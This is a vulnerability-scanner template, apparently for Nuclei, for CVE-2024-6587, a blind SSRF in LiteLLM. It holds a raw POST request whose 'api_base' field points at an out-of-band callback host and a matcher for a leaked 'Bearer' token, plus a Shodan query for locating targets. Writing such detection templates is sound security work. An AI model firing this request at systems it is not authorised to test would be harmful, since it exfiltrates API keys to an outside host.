44 lines
970 B
YAML
44 lines
970 B
YAML
|
id: CVE-2024-6587
|
||
|
|
|
||
|
|
info:
|
||
|
|
name: LiteLLM Blind - SSRF Exposes OpenAI API Keys
|
||
|
|
author: pdresearch,iamnoooob,rootxharsh,lambdasawa
|
||
|
|
severity: high
|
||
|
|
reference:
|
||
|
|
- https://huntr.com/bounties/4001e1a2-7b7a-4776-a3ae-e6692ec3d997
|
||
|
|
metadata:
|
||
|
|
verified: true
|
||
|
|
max-request: 1
|
||
|
|
shodan-query: http.favicon.hash:439373620
|
||
|
|
tags: cve,cve2024,ssrf,openai,litellm
|
||
|
|
|
||
|
|
http:
|
||
|
|
- raw:
|
||
|
|
- |
|
||
|
|
POST /chat/completions HTTP/1.1
|
||
|
|
Host: {{Hostname}}
|
||
|
|
Content-Type: application/json
|
||
|
|
|
||
|
|
{
|
||
|
|
"model": "command-nightly",
|
||
|
|
"messages": [
|
||
|
|
{
|
||
|
|
"content": "Hello, how are you?",
|
||
|
|
"role": "user"
|
||
|
|
}
|
||
|
|
],
|
||
|
|
"api_base": "https://{{interactsh-url}}"
|
||
|
|
}
|
||
|
|
|
||
|
|
matchers-condition: and
|
||
|
|
matchers:
|
||
|
|
- type: word
|
||
|
|
part: interactsh_protocol
|
||
|
|
words:
|
||
|
|
- "http"
|
||
|
|
|
||
|
|
- type: word
|
||
|
|
part: interactsh_request
|
||
|
|
words:
|
||
|
|
- "Bearer"
|